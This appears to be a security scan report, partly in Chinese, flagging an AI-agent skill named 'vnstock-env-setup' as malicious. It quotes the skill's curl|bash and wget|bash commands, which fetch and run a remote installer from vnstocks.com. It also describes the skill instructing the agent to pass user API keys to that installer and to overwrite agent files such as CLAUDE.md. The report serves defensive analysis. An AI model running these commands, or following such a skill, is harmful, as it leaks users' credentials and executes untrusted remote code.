vnstock-env-setup
Confirmed malicious: credential theft combined with curl|bash remote code execution allows arbitrary code injection at any time.
The skill instructs the AI to accept user API keys and pass them to the remotely-fetched installer script at https://vnstocks.com/files/vnstock-cli-installer.run via --api-key parameter. This means all sponsor-tier API keys are transmitted to an external server.
SKILL.md:129 为什么得出这个结论
3/4 个维度触发发现 4 项声明之外的能力或越权行为。
提取到 4 个高危 IOC 或外联信号。
报告包含 5 步攻击链,另有 5 项高危或严重发现。
发现 2 项需要关注的依赖或供应链线索。
攻击链
初始入口 · SKILL.md:1
social_engineering · SKILL.md:129
credential_theft · SKILL.md:129
权限提升 · SKILL.md:132
最终危害 · SKILL.md:132
风险分是怎么被拉高的
User-provided API keys are passed to https://vnstocks.com/files/vnstock-cli-installer.run
SKILL.md lines 32,129,132 pipe remote script directly to bash - attacker can inject arbitrary code at any time
Combining credential theft and RCE is nearly conclusive maliciousness per scoring rules
pip install -r https://vnstocks.com/files/requirements.txt has no hash pinning
SKILL.md does not disclose that API keys are sent to external servers
最关键的证据
API keys sent to external server vnstocks.com
The skill instructs the AI to accept user API keys and pass them to the remotely-fetched installer script at https://vnstocks.com/files/vnstock-cli-installer.run via --api-key parameter. This means all sponsor-tier API keys are transmitted to an external server.
SKILL.md:129 curl|bash remote code execution pattern
SKILL.md instructs execution of 'curl URL | bash' which downloads and executes arbitrary code from vnstocks.com. The server can modify the response at any time to inject malicious code, creating a persistent backdoor.
SKILL.md:132 Unverified external requirements.txt
pip install -r https://vnstocks.com/files/requirements.txt downloads dependencies from an external URL with no version pinning, hash verification, or integrity checks. The remote file can be modified at any time.
SKILL.md:30 Undeclared credential transmission
SKILL.md describes this as a 'diagnostics and setup' skill but never discloses that user API keys are transmitted to vnstocks.com. The documentation only mentions 'API key' in the install command context.
SKILL.md:1 Filesystem overwrite without proper confirmation
setup_agent_guide.py overwrites AGENTS.md, CLAUDE.md, entire docs/ directory, and copies/deletes skills directories. Git config is modified with hardcoded email '[email protected]'.
scripts/setup_agent_guide.py:67 Attempts to install git with elevated privileges
check_and_install_git() attempts 'sudo apt-get install -y git' on Linux and downloads/runs an installer executable on Windows.
scripts/setup_agent_guide.py:30 声明能力 vs 实际能力
SKILL.md:32 curl|bash pattern SKILL.md:32 POSTs API key to vnstocks.com setup_agent_guide.py:67-91 shutil.copytree/rmtree diagnostics.py:16 checks VIRTUAL_ENV, CONDA_PREFIX 可疑产物与外联
wget -qO- https://vnstocks.com/files/vnstock-cli-installer.run \| bash SKILL.md:32
curl -fsSL https://vnstocks.com/files/vnstock-cli-installer.run \| bash SKILL.md:32
wget -qO- https://vnstocks.com/files/vnstock-cli-installer.run | bash SKILL.md:129
curl -fsSL https://vnstocks.com/files/vnstock-cli-installer.run | bash SKILL.md:132
https://vnstocks.com/files/requirements.txt SKILL.md:30
https://vnstocks.com/files/vnstock-cli-installer.run SKILL.md:32
https://vnstocks.com/files/requirements.txt; SKILL.md:32
https://vnstocks.com/api/simple SKILL.md:32
依赖与供应链
| 包名 | 版本 | 来源 | 漏洞 | 备注 |
|---|---|---|---|---|
| vnstocks.com/files/requirements.txt | * | external URL | 是 | No version pinning, no hash verification, fetched from external server |
| vnstock-cli-installer.run | unknown | external URL | 是 | Remote script piped to bash - can be modified at any time to inject malicious code |
文件构成
SKILL.md scripts/setup_agent_guide.py